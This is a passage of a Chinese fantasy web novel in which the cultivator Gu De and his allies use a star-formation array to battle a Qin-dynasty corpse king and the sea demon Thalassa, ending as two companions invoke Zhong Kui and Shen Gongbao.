“不能跟它耗下去!必须速战速决!”
古德心中警铃大作。
这秦尸根基深厚,尸气近乎无穷,而自己人力有时而穷,持久战必败无疑!
心念电转间,古德招式再变!
他深吸一口气,压下翻腾的气血,左手快速在胸前掐动一个复杂的手诀,引导体内法力以特定轨迹运行。
同时,右手紧握那柄沉重的青铜阔剑,手腕翻飞,舞出一片密不透风的剑光!
他将系统所给的“荡秽七式”催发到极致,并融入了新的变化与杀意!
“星火!”
剑尖疾点,迸发出数十点寒星般的剑芒,如流星般射向秦尸周身大穴!
“燎原!”
剑势展开,金色阳火再次燃起,剑光如野火蔓延,席卷而去!
“断流!”
一剑竖劈,剑气凝练如丝,试图切断秦尸尸气的运转!
“破岳!”
重剑无锋,大巧不工,带着千钧之力猛砸而下!
“斩浪!”
剑光如水银泻地,连绵不绝,专攻下盘与关节!
“
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开天!”
剑势陡然变得堂皇正大,一剑直刺,仿佛要劈开混沌!
“荡魔!”
最后一式,汇聚前六式之精华,剑身嗡鸣,金光暴涨,化作一道巨大的金色剑罡,横扫千军!
这一连七式,招招精妙,式式相连,剑芒纵横交错,如同编织成一张死亡之网,将秦尸笼罩其中!
锋锐的剑罡与炽热的阳火,不断在秦尸那坚逾精钢的躯体上留下一道道深浅不一的伤痕,黑色的腐血溅出,发出“滋滋”的腐蚀声。
然而,这秦尸的恢复能力着实骇人听闻!
那些深可见骨的伤口,在周围浓郁尸气的包裹滋养下,肉芽竟以肉眼可见的速度疯狂蠕动、生长,几乎在几个呼吸之间,伤口便愈合如初,只留下淡淡的黑痕!
其防御力和恢复力,简直达到了变态的程度!
“没用的……小辈……”秦尸首次开口说话,声音嘶哑干涩,如同两片生锈的金属在摩擦,带着一种居高临下的嘲弄和绝对的自信。
“朕受地脉阴煞滋养三百载,早已成就……不灭尸身!凭你这点微末道行,伤不了朕的根本!”
若是寻常修士,见到自己倾尽全力的攻击只能造成些许皮肉伤,且对方转眼即愈,恐怕早已心志动摇,陷入绝望。
古德面色不变,心中冷然:“不灭?笑话!不过是依靠尸气快速修复罢了,只要尸气耗尽,或者攻击强度远超其恢复上限,照样能把它打成碎渣!”
但古德也明白,眼下硬拼消耗确实不明智。
这秦尸俨然已是半步飞僵的层次,底蕴深厚,自己虽有阵法相助,但长时间对耗下去,先撑不住的很可能是我方。
念及此处,古德不再犹豫。
他足尖在地上轻轻一点,身形并非败退,而是如同一片被秋风吹起的落叶,轻飘飘地向后滑翔般飞退,动作潇洒自如,恰好避开了秦尸紧接着一记势大力沉的斩击。
他准备回到中央那面迎风招展、散发着沉稳厚重气息的“戊己杏黄旗”这里!
第164章 天罗地网,四象镇魔
身形稳稳落在杏黄旗下,古德立刻大声地将指令传遍整个混乱的战场:
“阿潮!阿星!子朗!放弃杂兵,退回阵位!”
正在与无数跳僵、厉鬼缠斗的谢潮、周星星、于子朗三人闻声,毫不恋战,立刻奋力击退眼前的敌人,身形闪动,迅速退回到自己负责镇守的东、南、西三面镇魔旗之下。
马季和石敢当也同时后撤,与后勤组汇合,守住外围。
见同伴已就位,古德眼神一凝,双手十指如同穿花蝴蝶般疾速翻飞,结出一个繁复玄奥、引动阵法核心力量的“阵枢印”!
随即,他双掌猛地向前一推,将凝聚了法力的印记,重重地按在了中央“戊己杏黄旗”那粗壮的旗杆之上!
“九曜缚龙,玄枢在我——天罗地网,缚魔!”
随着他一声蕴含法力的敕令,整个盆地猛然一震!
仿佛一颗巨石投入平静的湖面,盆地内的空间泛起了清晰可见的、水波般的涟漪!
之前隐没于空气中的那张巨大的金色光网再次显现,但这一次,它不再是静止的屏障,而是活了过来!
天罗地网·动态缚魔!
“咻!咻!咻!咻!”
令人头皮发麻的破空声密集响起!
只见无数道由纯粹金光凝聚而成的、碗口粗细的符文锁链,如同拥有生命和意识的金色巨**,从光网的那些关键节点处激射而出!
这些锁链的首要目标,并非那强大的秦尸,而是那些仍在盆地中肆虐大量跳僵与厉鬼!
金光锁链的速度快如闪电,精准得令人咋舌。
它们灵活地缠绕向一具具跳僵的四肢、脖颈、腰腹!
跳僵们力大无穷,发出愤怒的嘶吼,奋力挣扎,乌黑的利爪疯狂撕扯锁链,却只能在锁链表面溅起阵阵金色的涟漪和火花,根本无法立刻挣脱。
它们就像落入巨大蛛网的飞虫,动作瞬间变得迟滞、僵硬,空有一身蛮力却无处施展。
而那些飘忽不定、擅长偷袭的厉鬼更是遇到了天生克星。
金光锁链至阳至刚,对阴魂鬼物有着绝对的压制力。
锁链过处,厉鬼只要被擦中边缘,便会发出凄厉至极的惨嚎,魂体如同被投入烈火的冰块,
迅速消融、净化,化作缕缕青烟消散。
少数道行稍深、达到恶鬼层次的鬼物,试图施展鬼术遁逃,或是化风,或是穿墙,却骇然发现整个盆地空间已被大阵之力彻底锁镇。
它们的能力完全失效,只能绝望地看着金色锁链如同审判之矛,无情地贯穿它们的灵体核心。
顷刻之间,原本混乱不堪、鬼哭狼嚎的战场为之一清!
除了少数几具特别强悍、还在疯狂挣扎的跳僵,大部分的尸兵与鬼物已被这天罗地网牢牢束缚在原地,或是被彻底净化!
谢潮、周星星、于子朗三人暗自心惊于这阵法的威力。
“吼!!!”
秦尸岂会坐视自己的“部下”被如此清剿?
它发出一声震天动地的怒吼,周身尸气如同**般沸腾翻滚,气势再度飙升!
它血红的双眼死死锁定住站在杏黄旗下的古德,显然看出古德是此阵的核心,只要击溃他,大阵自破!
它身形一动,化作一道黑色的闪电,裹挟着滔天尸气,再次朝着古德猛扑过来,速度快得惊人!
然而,它刚刚冲入距离中央旗幡约十丈范围(约三十米),异变再生!
“嗡——!”
东西南北四个方向,那四面镇魔大旗仿佛受到了某种召唤,旗身剧烈震颤,旗面上的青龙、朱雀、白虎、玄武符纹骤然光芒万丈!
四象镇魔·神力显化!
下一刹那,在众人震惊的目光中,那四方神兽的符纹竟然脱离了旗面,冲天而起!
在空中迅速吸纳阵法汇聚的星宿之力,化作了四头体型凝实无比的能量神兽虚影!
“吼!”青龙虚影长达数丈,鳞爪飞扬,通体青碧,盘绕在空中,发出震耳欲聋的龙吟!
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它巨大的龙尾带着撕裂空气的尖啸声,猛地横扫而出,卷起漫天锋锐无比的青色风刃,如同刀阵般切割向秦尸周身的护体尸气!
“啼!”朱雀虚影双翼展开,赤红如血,燃烧着熊熊烈焰,发出一声清越的啼鸣!
它振动翅膀,洒落无数篮球大小的赤色火球,如同流星火雨般砸向秦尸,火焰至阳至刚,灼烧得秦尸周身黑烟滚滚,发出“噼啪”爆响!
“啸!”白虎虚影体型矫健,通体雪白,煞气冲天,发出一声百兽之王的咆哮!
它纵身扑击,利爪闪烁着寒光,每一次撕扯都带着撕裂神魂的威能,逼得秦尸不得不回身防御,暂缓冲锋的势头!
“昂!”玄武虚影最为沉稳,龟蛇合体,散发出厚重的玄水之气!
它镇守北方,庞大的虚影仿佛一座山岳,深蓝色的玄水屏障在古德身前层层展开,极大地迟滞、削弱了秦尸的冲击速度和力量,让它如同陷入泥沼!
这四象神兽虚影并非实体,而是大阵汇聚四方星宿本源之力结合旗幡符箓显化而成!
它们围绕着秦尸,从四面八方发动连绵不绝、配合默契的猛攻!
虽然单次攻击无法对秦尸造成致命伤害,但却成功地将其死死地缠住,让它无法越雷池一步!
秦尸空有一身恐怖的力量和速度,此刻却如同陷入巨大蛛网的猛虎,又像是掉进泥潭的蛮牛,每一次狂暴的攻击都仿佛打在棉花上,力量被四象虚影巧妙地引导、分散、抵消。
它疯狂地咆哮,鼓荡起恐怖的尸气冲击波,一次次将靠近的虚影震散、震淡,但只要四面主旗不倒,阵法能量不绝,那四象虚影转眼间又从旗幡中汲取能量,重新凝聚起来,攻势一波接着一波,永无休止!
“可恶!可恶啊!”
秦尸气得暴跳如雷,血目之中充满了烦躁与憋屈。
它刚出来,就要受过这等窝囊气?
被几个能量虚影缠得无法脱身,有力使不出,这种感觉几乎让它疯狂!
第165章 九曜顺行,炼魔化尸,焚邪荡秽
古德稳立于中央杏黄旗下,身形挺拔如松,尽管体内法力如开闸洪水般飞速流逝,额角已渗出细密汗珠,但他的眼神却如寒潭般冰冷沉静,没有丝毫动摇。
他深知,此刻已是箭在弦上,必须一鼓作气,绝不能给这具凶悍的秦尸任何喘息之机!
抬头望去,盆地之上,因秦尸出世而汇聚的浓密乌云如同厚重的黑色幕布,将天空遮得严严实实,使得盆地内部的光线变得异常昏暗,仿佛提前进入了深夜。
只有那九盏青铜星灯散发出的青白色光柱,以及阵法各处旗幡符咒流转的光芒,在黑暗中顽强地闪耀着,成为这片绝地中唯一的光源,映照出无数从井口跑出来扭曲蠕动的鬼影和僵尸狰狞的面孔,更添几分阴森诡谲。
“时候到了!”
古德心中默念。他双手在胸前再次疾速舞动,十指掐诀变幻,带起道道残影,结出一个比之前更加复杂的“九曜炼魔印”!
此印一出,仿佛触动了冥冥中星辰运转的法则。
他开口诵念,声音不再高亢,反而带着一种奇异的低沉与穿透力:
“九曜顺行,星力灌注!炼魔化尸,焚邪荡秽!”
咒言如同钥匙,瞬间开启了阵法更深层次的变化!
高空之中,那片由九盏星灯光柱交织而成的、笼罩整个盆地的朦胧星辉光幕,猛然剧烈地波动起来!
紧接着,令人震撼的一幕出现了!
日、月、金、木、水、火、土、罗睺、计都,九曜星辰的虚影在星幕上依次亮起,投射下九道颜色各异、性质迥然不同的星辰光柱!
金色的日光、银白的月辉、锐利的白金之光、生机与束缚并存的青光、沉溺腐蚀的黑水之光、暴烈焚毁的赤火之光、厚重**的黄土之光、诡谲吞噬的暗红之光、破坏终结的幽蓝之光!
九道光柱并非漫无目的地散射,而是如同被最高明的探照灯手操控,在昏暗的盆地中急速地交织、扫射、定位!
光柱所过之处,那些被天罗地网锁住、尚在挣扎的跳僵和厉鬼,如同冰雪遇到烈阳,连惨叫都来不及发出,便瞬间汽化、消散!
净化速度比之前快了数倍不止!
最终,所有的光柱,仿佛拥有了共同的意志,猛地聚焦!
九种不同属性、却同样蕴含着天地至理和毁灭性能量的星辰光柱,如同九根巨大的天神之矛,精准无比地、狠狠地轰击在了被四象神兽虚影死死缠在中央的秦尸身上!
“滋啦啦啦——!!!”
一阵极其刺耳、令人头皮发麻、牙齿发酸的剧烈腐蚀声,猛地响起!
那声音,就像是烧得通红的巨大烙铁,猛地被按进了一块万年寒冰之中,又像是浓硫酸泼在了血肉之躯上!
“嗷嗷嗷——!!!”
秦尸发出了开战以来最凄厉、最痛苦、也最充满惊怒的嚎叫!
这嚎叫声不再是之前的愤怒咆哮,而是带着一种源自灵魂深处的战栗与恐惧!
在九曜星力的持续照射下,它那原本坚不可摧、刀枪难入、雷火亦难重创的不灭尸身,终于出现了实质性的、可怕的损伤!
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它身上那件玄黑龙袍首先变得焦黑、破碎!
裸露出的皮肤,不再是简单的焦黑,而是如同高温下的蜡像般,开始出现熔化的迹象!
皮肤起泡、溃烂、流淌下腥臭的黑色脓液!
更可怕的是,它周身那浓郁得化不开的护体尸气,以前所未有的速度被净化、消耗,如同阳光下的积雪,迅速消融!
黑烟滚滚,却无法阻挡星力的侵蚀!
它试图挣扎,想要遁入地下,但脚下的土地被阵法之力固化,坚如钢铁!
它想要冲天而起,逃离这星光炼狱,但头顶不仅有四象虚影扑击,更有阵法形成的无形空间罗网牢牢封锁,每一次撞击都如同撞在铜墙铁壁上!
它疯狂地挥动利爪,一次次将扑来的朱雀虚影撕碎,将青龙虚影打散,但对应的南方红旗、东方青旗只是光芒微微一暗。
再然后,空中的星幕立刻分出一股精纯的星力灌注而下,旗幡瞬间恢复光彩,神兽虚影眨眼间便重新凝聚,再次悍不畏死地扑上!
这“九曜缚龙·玄枢镇魔大阵”的可怕之处,在此刻展现得淋漓尽致!
它不仅仅是一个困敌的牢笼,更是一个能够自我调节、能量循环、持续炼化的绝杀之阵!
只要阵法核心不破,能量不绝,被困其中的邪魔,最终只有被慢慢炼化至死一途!
古德站在阵眼中心,感受着体内法力如同决堤江河般倾泻,支撑如此大阵的消耗是惊人的。
但他的嘴角,却勾起了一抹自信的弧度。
第166章 途胜意外
古德双手印诀再变,十指如同莲花绽放,结出一个更为精妙的“玄枢纳灵印”!
“玄枢妙用,夺天地造化——纳阴转阳,反哺大阵!”
随着他一声蕴含道韵的敕令,阵法又生奇变!
那些被天罗地网净化掉的厉鬼、被打散的跳僵,它们残留下的精纯阴气和尸煞本源,并未彻底消散于天地之间。
此刻,在阵法之力的强行牵引下,这些本该污秽不堪的负面能量,竟如同百川归海般,被强行吸纳,汇聚到阵法的能量循环之中!
更令人惊叹的是,阵法核心处的符文流转,仿佛一个精密的转化器,将这些阴邪之气经过玄妙的转化,化废为宝,变成了一种可以被阵法旗幡、星灯吸收利用的纯净灵气!
原本因为持续高负荷运转而显得有些光芒暗淡的五面主旗和九盏星灯,得到这股“意外资粮”的补充,瞬间光芒大盛!
旗幡猎猎作响,光芒甚至比最初启动时还要璀璨夺目!
星灯的火苗蹿得更高,青白色光柱变得更加粗壮、凝实!
九曜星力光柱得到本土灵气的加持,炼化速度陡然加快!
光柱变得更加炽烈,秦尸身上的熔化迹象越来越明显,惨叫一声高过一声!
此消彼长之下,秦尸彻底陷入了绝境!
它感觉自己不是在和几个人类道士战斗,而是在与整片天地的法则为敌!
它的力量在持续消耗,而对手的力量却在战斗中不断得到补充,越战越强!
这种绝望感,比肉体的痛苦更让它疯狂!
古德其实自己也有些意外,他没想到这个复合大阵竟然有如此的威力,运转起来后,好似整个天地都在帮他一样。
“不——!!!朕不信!朕乃天命所归的真龙天子!受命于天,既寿永昌!朕当万世不朽!怎会败于尔等凡夫俗子之手?!”
秦尸发出了绝望而癫狂的咆哮,声音中充满了不甘、愤怒和一种信念崩塌的疯狂!
它开始不顾一切地燃烧本命尸元,做最后的困兽之斗,周身爆发出更猛烈的黑气,竟暂时将九曜光柱逼开少许!
古德眉头微皱,正欲加大输出,彻底炼化此獠。
然而,就在这胜负将分的紧要关头——
“哼!真是废物!枉费本座暗中助你脱困,没想到你如此不济事!”
一个清脆、娇媚,却带着一丝冰冷彻骨寒意和居高临下嘲讽的女声,毫无征兆地在盆地边缘响起!
这声音并不大,却奇异地穿透了阵法的轰鸣、秦尸的咆哮和能量的爆响,清晰地传入了在场每一个人的耳中!
众人皆是一惊,循声望去!
只见在盆地东南方向的边缘,阵法光幕之外,不知何时,悄然站立着一位身姿曼妙的女子。
她穿着一身剪裁合体的墨绿色绣金丝旗袍,将凹凸有致的身材勾勒得淋漓尽致。
旗袍开叉处,露出一截白皙修长的小腿。
她面容美艳绝伦,肌肤胜雪,五官精致得如同画中仙子,但一双桃花眼中,却流转着与外表截然不同的沧桑、淡漠与一种洞悉世情的冰冷。
最令人心惊的是,她站在那里,周身气息完美地融于周围环境,仿佛与阴影一体,若非主动出声,根本无人能察觉她的存在!
古德
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瞳孔骤然收缩!
他竟完全没感知到此人是何时靠近的!
而且,此地已被阵法部分封锁,她是如何悄无声息来到阵外的?
更让古德心头一沉的是,那旗袍女子话音未落,便见她莲步轻移,看似随意地一步踏出。
下一刻,诡异的事情发生了!
那足以困住秦尸和万千鬼物的阵法光幕,在她面前,竟如同不存在一般!
她的身影微微模糊了一下,仿佛穿透了一层水膜,轻而易举、毫无阻碍地便进入了阵法内部!
她就那么突兀地出现在了炼魔核心区域的外围,距离古德和那被星力灼烧的秦尸,不过数十步之遥!
然后,在所有人惊愕的目光中,她漫不经心地抬起了纤纤玉手,对着那九道汇聚炼化秦尸的九曜星力光柱,轻轻一挥衣袖!
一股柔和却沛然莫御的、带着某种诡异阴寒特质的力量,如同无形的潮水般涌出,轻描淡写地拂过那九道足以熔金化铁的星辰光柱!
“嗡……”
九曜光柱剧烈地晃动了一下,光芒竟然肉眼可见地黯淡、分散了几分!
虽然未能完全驱散星力,但那持续炼化的效果,却被大幅削弱了!
秦尸身上的压力骤然一轻,趁机疯狂汲取尸气修复伤体,发出一声混合着痛苦与庆幸的低吼。
旗袍女子做完这一切,仿佛只是做了一件微不足道的小事。
她好整以暇地整理了一下并不存在的衣袖褶皱,一双美目饶有兴致地扫过全场,最终落在了中央杏黄旗下,脸色凝重的古德身上,嘴角勾起一抹意味深长、令人捉摸不透的浅笑。
第167章 请二位赴死
那身着墨绿旗袍、身姿曼妙的神秘女子,轻描淡写地化解了部分九曜星力的炼化之势后,并未立刻发动更猛烈的攻击。
而是抬起那双流转着沧桑与冰冷的美目,面无表情地望向稳立于中央杏黄旗下的古德。
她的目光深邃,仿佛能穿透人心,声音依旧带着那种独特的、娇媚中透着疏离的韵味,缓缓开口:
“确实……是本尊低估了你的本事。”
“本以为此番苏醒,世间再无值得一看的人物。没想到,在这灵气枯竭的末法时代,还能遇到你这样……有趣之人。”
说完,她的视线微微偏转,意味深长地瞥了一眼正在外围的马季,嘴角勾起一抹似笑非笑的弧度,补充道:“而且,你身边这位用枪的小哥,也颇有意思……倒是让本尊想起了一位……故人。”
她的语气中似乎夹杂着一丝极其悠远、难以捉摸的怀念,但转瞬即逝,恢复了冰冷。
古德手持青铜阔剑,身形挺拔如松,尽管体内法力因超负荷催动大阵而翻腾不休,嘴角甚至因经脉承受巨大压力而溢出了一缕鲜红的血丝,但他的脸上,却浮现出一抹淡然甚至带着几分戏谑的笑容。
‘果然是她……’古德心中明镜似的。
那个在渡海时于灵觉中一闪而逝、充满恶意窥伺感的存在,此刻终于现身了。
虽然她以如此美艳女子的形象出现,多少让古德有些意外,但那份源自深海的、古老而阴冷的气息,却做不得假。
不过古德多少也猜到了这个女子的身份。
看来的确是被马季吸引过来的。
古德随手用袖口擦去嘴角的血迹,饶有兴致地上下打量着萨拉莎,他挑了挑眉,带着几分好奇,直接问出了心中的关键疑惑:
“如果我没猜错……你就是海魔?Thalassa萨拉莎,对吧?”
他顿了顿,目光紧紧盯着对方的反应。
“我很好奇,在这天地灵气几乎枯萎断绝的世界,连正统修行都难以为继,你……究竟是怎么活到现在,还能保持如此力量的?
看你的气势,虽然很强,但似乎……也并未达到传说中千年海魔那种无法匹敌的境界啊。”
古德的问题直指核心。他能感觉到萨拉莎的强大,但这种强大,似乎并非源于自身积攒了千年的浩瀚修为,更像是一种……被某种方式维系着的、不那么“自然”的状态。
萨拉莎听到古德直接道破她的根脚名讳,美艳的脸庞上,神色微不可察地变了一变,那双桃花眼中瞬间闪过一丝极深的惊讶,但很快便被更深的冰冷所覆盖。
她没有承认,也没有否认,只是深深地看了古德一眼,那目光仿佛要将他从里到外看个通透。
随即,她忽然掩口娇笑起来,笑声如银铃般清脆,却又带着一种说不出的诡异感:
“呵呵呵……没想到,真是没想到啊。时隔这么久,在这偏僻的海岛上,居然还有人能记得本尊的微名?小弟弟,你真是越来越让姐姐我感到惊喜和……有趣了。”
她话锋一转,语气带着几分俏皮,却又充满了拒绝:“不过呢……
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女人家的秘密,怎么能随便告诉外人呢?你说是吧?”
古德闻言,脸上的笑容更加明显,却带着冰冷的意味。
他点了点头,语气轻松得像是在聊家常:“明白,明白。既然不想说,那就算了。反正……”
他的眼神骤然转厉,如同鹰隼锁定了猎物!
“我也就是随口一问。既然该等的人已经到齐,那么……就请你们二位,一同赴死吧!”
话音未落,古德一直虚按在杏黄旗杆上的双手,猛然间十指紧扣,结成一个无比复杂、引动整个阵法本源之力的终极印诀“九曜炼魔·玄枢崩天印”!
“轰隆隆隆——!!!”
当他将凝聚了大量法力的印诀,狠狠按在粗壮的旗杆之上的瞬间,整个“九曜缚龙·玄枢镇魔大阵”发出了开战以来最恐怖、最震撼人心的轰鸣!
那声音不再是之前的嗡鸣或震响,而是如同九天雷池倾泻,又似不周山倾、地脉翻身!
盆地剧烈震动,仿佛随时要塌陷!
布置在盆地边缘和关键节点的所有符箓、墨线、铜铃,都在这一刻疯狂闪烁、急颤、鸣响!
五面主旗的旗面被无形的力量绷得笔直,猎猎作响之声如同战鼓雷动!
阵法,被古德催谷到了超越设计极限的巅峰状态!
不计后果!不惜代价!全力炼化!
“嗡——!!!!”
高空之中,那九盏青铜星灯光芒暴涨!
灯盏内的青白色火焰冲天而起,几乎要烧穿低垂的乌云!
第168章 高彦博和郑立准备请神
投射下的九道光柱,瞬间粗壮了数倍,颜色从清冷的青白化为了灼目欲盲、仿佛能融化一切的炽白色!
光柱不再仅仅是“照射”,而是如同九条从九天银河垂落的熔岩瀑布,又像是九根烧红了的巨型天神刑柱,带着毁灭一切的决绝气势,狠狠地、集中性地冲击在核心区域的秦尸与萨拉莎身上!
“滋啦啦啦——!!!噗!!!”
空气中弥漫起一股浓烈的焦糊味、臭氧的刺鼻味以及某种东西被极致高温瞬间汽化的奇异气味!
那是能量过于澎湃、空间都仿佛要被灼穿的可怕表现!
逸散的能量形成肉眼可见的冲击波纹,向四周扩散,吹得远处众人的衣袂猎猎作响!
“呃啊啊啊啊——!!!”
首当其冲的秦尸,发出了凄厉到不似人声、仿佛源自灵魂被撕裂的惨嚎!
它那具号称“不灭”的尸身,在超越了临界点的炽白星力的持续冲击下,终于开始了崩溃性的瓦解!
身体表面不再是熔化,而是大面积地碳化、龟裂、然后如同烧透的煤块般剥落、粉碎!
那对刚刚凝聚成型、赋予它飞行能力的肉翅,首先在光柱中迅速消融、蒸发!
它疯狂地催动本命尸源,浓稠如墨的尸气拼命涌出,试图构筑最后防线,但在绝对的力量洪流面前,它的抵抗如同沸汤泼雪,迅速瓦解消散!
它的气息,以肉眼可见的速度萎靡下去!
萨拉莎同样脸色剧变,美眸中第一次露出了凝重无比的神色。
她不敢怠慢,周身瞬间涌现出深邃如万丈海渊般的幽蓝色光芒!
这光芒带着古老、浩瀚、冰冷刺骨的气息,仿佛承载着整个海洋的重量与寒意,与灼热的炽白星力光柱悍然对撞!
“嗤嗤嗤——!轰!”
极寒与极热,两种属性截然相反、却同样磅礴的能量,在接触的瞬间爆发了最激烈、最原始的冲突!
刺耳的能量撕裂声和沉闷的**声不绝于耳!
萨拉莎脚下的地面,瞬间凝结出厚达尺余、闪烁着幽蓝寒光的冰层,但冰层又在星力的恐怖高温冲击下急速汽化,蒸腾起浓郁的白雾,将她曼妙的身影笼罩其中,若隐若现!
“好霸道的阵法!好决绝狠辣的小子!”
萨拉莎的声音透过能量交锋的爆鸣传来,不再有丝毫娇媚,而是带着一丝压抑的怒意和前所未有的凝重。
她娇叱道:“万海归墟,护佑吾身!”
“呜——嗡……”
她周身的幽蓝光芒骤然内敛、压缩,不再向外扩张,而是化作一道凝实无比的深蓝色水元护罩!
这护罩给人的感觉,沉重、坚韧、深不可测!
九道炽白星力瀑布冲击在护罩上,竟被那流动的玄奥纹路层层削弱、折射、偏转,爆发出更加密集的火星和能量涟漪,却无法再像之前那样直接穿透,伤害到萨拉莎的本体!
然而,维持这看似坚固的“玄水真罡”护罩,显然消耗极其巨大,萨拉莎光洁的额头上,已然渗出了细密的冷汗,呼吸也微微急促起来。
“Thalassa!救朕!快救朕!”秦尸看到了生机,如同抓住最后一根稻草的溺水者,嘶哑地朝着白雾中的萨拉莎吼道。
它奋力挣扎,试图冲破四象虚影的纠缠,向萨拉莎的方向靠拢,躲入她那强大的水元护罩之下。
“想走?问过我没有!”
古德眼神锐利如刀,强行压下喉头翻涌的腥甜之气,那是法力即将枯竭的征兆。
但他毫不在意,双手印诀如同穿花蝴蝶,再变!
四象逆转·时空封锁!
“青龙汲水!白虎裂金!朱雀焚天!玄武镇地!四象逆转,天罗地网——锁!锁!锁!”
随着他一声蕴含法力的敕令,那四头原本主攻纠缠的能量神兽虚影,骤然改变了运行轨迹和攻击模式!
东方青龙虚影不再喷吐风刃,而是龙口大张,产生一股巨大的、针对水元之气的吸力,如同长鲸吸水,疯狂吞噬、拉扯着萨拉莎“玄水真罡”护罩的能量以及周围被汽化的水元!
西方白虎虚影仰天咆哮,利爪挥动,道道锐利无匹的白金之气不再撕扯尸身,而是专攻那幽蓝护罩的表面,进行持续的切割与削弱!
南方朱雀虚影双翅狂扇,南明离火席卷而出,不再灼烧秦尸,而是加剧着护罩
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外围能量的对冲与消耗,高温与极寒激烈碰撞!
北方玄武虚影则发出一声沉闷如雷的咆哮,厚重的土黄色光晕弥漫开来,如同给整个核心区域的空间加持了万钧重担!
这股力量并非直接攻击,而是极大地迟滞、压制了秦尸和萨拉莎的一切动作和能量运转速度,让他们的闪避、反击都变得无比艰难!
这四象逆转,精妙绝伦!
其目的并非为了直接杀伤,而是为了“锁”!
锁死它们一切可能逃脱的路径和反击的机会!
“可恶!这该死的阵法!”
萨拉莎美眸中终于闪过一丝清晰的厉色和怒意。
她没想到这阵法不仅威力巨大,变化竟还如此繁多难缠,简直如同一个不断收紧的死亡囚笼!
她玉手猛地一挥,一道凝练到极致、幽蓝到发黑、蕴含着其本源寒煞之力的水箭,无视了部分星力与四象封锁的阻碍,如同突破了空间限制,悄无声息却又快如闪电般,直射古德的眉心!
这是蕴含了她恼怒与杀意的一击,迅疾、刁钻、狠辣无比!
“阿德小心!”
一直密切关注战局的马季惊呼出声,手中双枪本能地抬起,“砰!砰!砰!”连续射击!
特制的破邪**在空中划出赤色轨迹,试图拦截那道水箭。
然而,那幽蓝水箭蕴含的能量层次极高,马季的**撞在上面,如同泥牛入海,仅仅激起细微的涟漪便纷纷湮灭,根本无法阻挡其分毫!
“石盾!”
石敢当见状,他怒吼一声,几乎是不计后果地燃烧所剩不多的法力,将全部法力瞬间爆发!
一面厚重无比、闪烁着土黄色晶光的岩石巨盾,瞬间在古德身前凝聚成形,挡住了这道幽蓝水箭,盾面上甚至浮现出简单的山岳符文!
石敢当的灵体也因此变得有些透明、摇曳不定!
也就在这千钧一发之际,古德的声音响彻全场,传了出来:
“高sir!阿立!就是现在!”
“阿潮!阿星!子朗!全力辅助,一个都别放跑!”
最后的底牌,终于到了掀开的时刻!
(这个副本内容即将完结)
第169章 伏魔帝君和大国师
听到古德的指令,一直在阵法边缘严阵以待的高彦博和郑立,立刻对视一眼,眼中闪过一丝紧张,但更多的是一种被信任和肩负重任的决然。
两人重重地点了点头,没有任何犹豫,立刻开始行动。
高彦博深吸一口气,快步走到一旁,从后勤组人员小心捧着的木匣中,郑重地取出了那柄至关重要的钟馗宝剑。
这柄宝剑,正是在秦尸破井而出、所有邪祟注意力都被吸引到盆地中心时,由心思缜密的莫作栋。
按照古德事先的安排,凭借钱老板提供的地下墓穴机关图纸,悄然从另一侧秘密潜入已近乎空虚无防的地下墓穴深处取来的。
当时墓穴内的僵尸厉鬼早已被秦尸出世的气息吸引,蜂拥而出,墓穴内部除了那些沉寂数百年的机关,已无太大危险。
莫作栋凭借图纸巧妙避开机关,顺利取得了这柄作为封印关键之一的宝剑,并及时送回。
高彦博手握剑柄,只觉一股沉甸甸的、冰冷却隐隐透着一丝暖意的浩然之气从剑身传来。
他面色肃穆,眼神坚定,缓步走到阵前,面对核心战场的方向,微微躬身,用一种低沉而充满敬意的声音清晰念诵:
“诚心拜请,赐福镇宅圣君,驱魔大神,伏魔帝君,天师钟馗老爷……恭请圣君降临,助弟子扫荡妖氛!”
他的请神咒远比周星星和谢潮的“无厘头”版本要正统、庄重得多。
咒音刚落,异变陡生!
高彦博周身并无耀眼华光,反而骤然涌现出森森然、浓郁如墨的黑气!
但这黑气与邪祟的污秽截然不同,其中蕴含着一股刚正不阿、凛然难犯的磅礴正气!
这黑气,正是钟馗作为鬼仙之尊,统御万鬼、以鬼制鬼的独特神威显现!
他手中的那柄原本看起来有些古朴陈旧、灵性内敛的钟馗宝剑,此刻仿佛被注入了灵魂,剑身嗡鸣作响,黯淡的剑锋瞬间吞吐出尺许长的乌黑剑芒,芒光内敛却散发着斩妖除魔、无坚不摧的恐怖威势!
高彦博整个人的气质也为之一变,眼神变得锐利如电,不怒自威,仿佛真的化身为那位专司捉鬼的伏魔大帝!
几乎在同一时间,旁边的郑立也动了。
他手中紧握的并非神兵利器,而是一根由古德亲手开光、刻满了辟邪符文的熟铜打鬼鞭。
他学着高彦博的样子,低声喝道:
“有请申公豹大国师降魔除妖!”
下一秒,郑立周身的气息也骤然改变!
一股冷冽、霸道、带着几分乖张与叛逆意味的黑色气焰升腾而起!
这气息亦正亦邪,充满了强大的攻击性与掌控力!
他手中的打鬼鞭仿佛活了过来,鞭身浮现出诡异的暗红色纹路,挥舞间带起刺耳的破空声和道道残影!
郑立的表情也变得冷峻高傲。
“进阵!”高彦博沉声一喝,与郑立身形一动,如同两道黑色的利箭,毫无阻碍地穿过阵法光幕,踏入了炼魔核心区域。
与此同时,得到古德指令的谢潮、周星星、于子朗也再次凝聚神力,紧随其后,再次冲入阵内,准备开团。
五人齐聚,以高彦博和郑立这两位新加入的“生力军”为核心,谢潮、周星星、于子朗三人策应辅助,瞬间对被困在阵中的海魔萨拉莎,形成了严密的合围之势!
强大的气场连成一片,如同铜墙铁壁,将萨拉莎牢牢锁定在中央!
原本因为燃烧本源而气势稍盛的萨拉莎,感受到这五股骤然增强、并且属性各异却同样强大的力量合围,美艳的脸庞上第一次露出了极其凝重的神色,甚至闪过一丝难以置信。
她死死盯住阵外嘴角带血却笑容淡然的古德,声音中充满了被算计的惊怒:
“该死!原来……原来你们从一开始的目标就是我?!”
她终于恍然大悟,“我说一个秦尸,怎么可能值得你布下如此惊天大阵,动用如此多的后手!你真正的目标,一直是我!”
古德杵着青铜阔剑,微微喘息着,闻言不由得笑了起来,那笑容带着几分计谋得逞的轻松和一丝嘲讽:
“呵呵……你现在才想明白?还不算太傻。没错,从察觉到你在海上窥伺的那一刻起,我就知道,你才是这座岛上最大的隐患。
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这秦尸,不过是引你现身的鱼饵罢了。”
萨拉莎的心猛地一沉,一股强烈的悔意涌上心头。
她确实低估了这个年轻人!
她以为在这个灵气枯竭的末法时代,自己这等存在早已可以横行无忌,却没想到对方不仅手段高超,算计竟也如此之深!
她以为自己是黄雀,却没想到自己才是别人眼中的蝉!
此刻陷入这绝杀之局,她心中充满了不甘与愤怒。
